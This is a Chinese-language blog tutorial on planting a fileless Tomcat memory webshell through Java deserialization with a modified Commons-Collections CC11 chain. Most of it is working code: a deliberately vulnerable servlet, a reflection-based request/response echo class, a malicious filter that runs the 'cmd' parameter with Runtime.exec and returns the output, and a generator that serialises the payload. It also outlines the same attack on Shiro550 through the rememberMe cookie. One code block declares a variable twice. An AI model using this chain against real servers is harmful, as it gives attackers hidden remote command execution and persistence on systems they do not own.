Java安全-反序列化注入内存马
对于我们之前学习的Tomcat内存马,只算是做了一些简单的实验,并未能够完全应用,只能通过文件上传jsp的方式来注入内存马,也是存在文件落地的现象的,并非真正的内存马
所以在这篇文章中,我们来学习利用反序列化来实现真正意义上的内存马的注入,本文中会结合 cc11 来进行内存马注入,这样可以实现真正的文件不落地,在上文利用 jsp 注入的时候由于 request 和 response 是 jsp 的内置对象,所以在回显问题上不用考虑,但是当我们结合反序列化进行注入的时候这些都成了需要考量的地方,这也是本文学习的一个点
半通用回显 Tomcat 打内存马
这里要用 web-app 的项目,并且用低版本的 Tomcat
先写一个 servlet
模拟反序列化漏洞点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.InputStream; import java.io.ObjectInputStream; @WebServlet("/cc") public class CCServlet extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException { InputStream inputStream = (InputStream) req; ObjectInputStream objectInputStream = new ObjectInputStream(inputStream); try { objectInputStream.readObject(); } catch (ClassNotFoundException e) { e.printStackTrace(); } resp.getWriter().write("Success"); } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException { InputStream inputStream = req.getInputStream(); ObjectInputStream objectInputStream = new ObjectInputStream(inputStream); try { objectInputStream.readObject(); } catch (ClassNotFoundException e) { e.printStackTrace(); } resp.getWriter().write("Success"); } }
|
有反序列化操作调用readObject()方法就是可能会存在反序列化漏洞的,这里由于是我们自己构造的,我们知道这里一定存在反序列化漏洞
获取requst和response
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.lang.reflect.Modifier; public class TomcatEcho extends AbstractTranslet { static { try { Class c = Class.forName("org.apache.catalina.core.ApplicationDispatcher"); java.lang.reflect.Field f = c.getDeclaredField("WRAP_SAME_OBJECT"); java.lang.reflect.Field modifiersField = f.getClass().getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL); f.setAccessible(true); if (!f.getBoolean(null)) { f.setBoolean(null, true); } f = c.getDeclaredField("lastServicedRequest"); modifiersField = f.getClass().getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL); f.setAccessible(true); if (f.get(null) == null) { f.set(null, new ThreadLocal()); } f = c.getDeclaredField("lastServicedResponse"); modifiersField = f.getClass().getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL); f.setAccessible(true); if (f.get(null) == null) { f.set(null, new ThreadLocal()); } } catch (Exception e) { e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
|
然后是取出 request 和 response 并注入 filter,和之前 filter 内存马的写法有很多相似之处
个人认为filter内存马的构造流程是最复杂的,要构造的变量比其他类型的内存马多
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.apache.catalina.LifecycleState; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.StandardContext;
import java.io.IOException; import java.lang.reflect.Field; import java.lang.reflect.Method; import javax.servlet.Filter; import javax.servlet.FilterChain; import javax.servlet.FilterConfig; import javax.servlet.ServletContext; import javax.servlet.ServletException; import javax.servlet.ServletRequest; import javax.servlet.ServletResponse;
public class TomcatInject extends AbstractTranslet implements Filter {
private final String cmdParamName = "cmd"; private final static String filterUrlPattern = "/*"; private final static String filterName = "Drunkbaby";
static { try { ServletContext servletContext = getServletContext(); if (servletContext != null){ Field ctx = servletContext.getClass().getDeclaredField("context"); ctx.setAccessible(true); ApplicationContext appctx = (ApplicationContext) ctx.get(servletContext);
Field stdctx = appctx.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(appctx);
if (standardContext != null){ Field stateField = org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state"); stateField.setAccessible(true); stateField.set(standardContext, LifecycleState.STARTING_PREP);
Filter myFilter =new TomcatInject(); javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter(filterName,myFilter);
filterRegistration.setInitParameter("encoding", "utf-8"); filterRegistration.setAsyncSupported(false); filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{"/*"});
if (stateField != null){ stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED); }
if (standardContext != null){ Method filterStartMethod = StandardContext.class.getDeclaredMethod("filterStart"); filterStartMethod.setAccessible(true); filterStartMethod.invoke(standardContext,null);
Class ccc = null; try { ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); } catch (Throwable t){} if (ccc == null) { try { ccc = Class.forName("org.apache.catalina.deploy.FilterMap"); } catch (Throwable t){} } Method m = Class.forName("org.apache.catalina.core.StandardContext") .getDeclaredMethod("findFilterMaps"); Object[] filterMaps = (Object[]) m.invoke(standardContext); Object[] tmpFilterMaps = new Object[filterMaps.length]; int index = 1; for (int i = 0; i < filterMaps.length; i++) { Object o = filterMaps[i]; m = ccc.getMethod("getFilterName"); String name = (String) m.invoke(o); if (name.equalsIgnoreCase(filterName)) { tmpFilterMaps[0] = o; } else { tmpFilterMaps[index++] = filterMaps[i]; } } for (int i = 0; i < filterMaps.length; i++) { filterMaps[i] = tmpFilterMaps[i]; } } }
}
} catch (Exception e) { e.printStackTrace(); } }
private static ServletContext getServletContext() throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException { ServletRequest servletRequest = null; Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain"); java.lang.reflect.Field f = c.getDeclaredField("lastServicedRequest"); f.setAccessible(true); ThreadLocal threadLocal = (ThreadLocal) f.get(null); if (threadLocal != null && threadLocal.get() != null) { servletRequest = (ServletRequest) threadLocal.get(); }
if (servletRequest == null) { try { c = Class.forName("org.springframework.web.context.request.RequestContextHolder"); Method m = c.getMethod("getRequestAttributes"); Object o = m.invoke(null); c = Class.forName("org.springframework.web.context.request.ServletRequestAttributes"); m = c.getMethod("getRequest"); servletRequest = (ServletRequest) m.invoke(o); } catch (Throwable t) {} } if (servletRequest != null) return servletRequest.getServletContext();
try { c = Class.forName("org.springframework.web.context.ContextLoader"); Method m = c.getMethod("getCurrentWebApplicationContext"); Object o = m.invoke(null); c = Class.forName("org.springframework.web.context.WebApplicationContext"); m = c.getMethod("getServletContext"); ServletContext servletContext = (ServletContext) m.invoke(o); return servletContext; } catch (Throwable t) {} return null; }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override public void init(FilterConfig filterConfig) throws ServletException {
}
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println( "TomcatShellInject doFilter....................................................................."); String cmd; if ((cmd = servletRequest.getParameter(cmdParamName)) != null) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return; } filterChain.doFilter(servletRequest, servletResponse); }
@Override public void destroy() {
} }
|
如此一来,我们接下来只需要注入即可,必须是要通过动态加载字节码的形式,才可以打,所以这里我们用魔改的 CC11 链子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.HashSet; @SuppressWarnings("all") public class CC11Template { public static void main(String[] args) throws Exception { byte[] bytes = getBytes(); byte[][] targetByteCodes = new byte[][]{bytes}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); Field f0 = templates.getClass().getDeclaredField("_bytecodes"); f0.setAccessible(true); f0.set(templates,targetByteCodes); f0 = templates.getClass().getDeclaredField("_name"); f0.setAccessible(true); f0.set(templates,"name"); f0 = templates.getClass().getDeclaredField("_class"); f0.setAccessible(true); f0.set(templates,null); InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]); HashMap innermap = new HashMap(); LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer); TiedMapEntry tiedmap = new TiedMapEntry(map,templates); HashSet hashset = new HashSet(1); hashset.add("foo"); Field f = null; try { f = HashSet.class.getDeclaredField("map"); } catch (NoSuchFieldException e) { f = HashSet.class.getDeclaredField("backingMap"); } f.setAccessible(true); HashMap hashset_map = (HashMap) f.get(hashset); Field f2 = null; try { f2 = HashMap.class.getDeclaredField("table"); } catch (NoSuchFieldException e) { f2 = HashMap.class.getDeclaredField("elementData"); } f2.setAccessible(true); Object[] array = (Object[])f2.get(hashset_map); Object node = array[0]; if(node == null){ node = array[1]; } Field keyField = null; try{ keyField = node.getClass().getDeclaredField("key"); }catch(Exception e){ keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); } keyField.setAccessible(true); keyField.set(node,tiedmap); Field f3 = transformer.getClass().getDeclaredField("iMethodName"); f3.setAccessible(true); f3.set(transformer,"newTransformer"); try{ ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11Step2.ser")); outputStream.writeObject(hashset); outputStream.close(); }catch(Exception e){ e.printStackTrace(); } } public static byte[] getBytes() throws IOException { InputStream inputStream = new FileInputStream(new File("E://TomcatEcho.class")); InputStream inputStream = new FileInputStream(new File("E://TomcatInject.class")); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); int n = 0; while ((n=inputStream.read())!=-1){ byteArrayOutputStream.write(n); } byte[] bytes = byteArrayOutputStream.toByteArray(); return bytes; } }
|
接连注入即可,这里因为代码我们可以直接注入 .ser 序列化的文件,如果是要输入 string,简单把 .ser 文件 base64 一下即可


实战中是找到会将传入数据反序列化的入口点,将我们构造好的链子编译序列化后注入
小结
实现反序列化注入
要实现内存马的回显(获取request和response)
构造恶意filter并注册
这里与上传jsp文件马不同的是多一步startfilter,这样不需要我们手动访问路径才能完成filter注册,而是直接让此filter运行
与反序列化利用链结合,找到入口和出发点,编写exp。序列化得到恶意数据,传入恶意数据
内存马打shiro550
通过全局存储 Response 回显来打
直接用KpLi0rn师傅的这个项目来打shiro内存马https://github.com/KpLi0rn/ShiroVulnEnv
首先通过注入tomcatHeader.ser来绕过长度限制
最后用tomcatInject.ser注入回显内存马
实际上就是直接用写好的链子序列化一下,再AES加密后直接传入rememberMe去打
这里就先不测试了
参考
基于tomcat的内存Webshell无文件攻击技术 | 大彩笔threedr3am
Java 反序列化打内存马 | Drunkbaby’s Blog
基于全局储存的新思路 | Tomcat的一种通用回显方法研究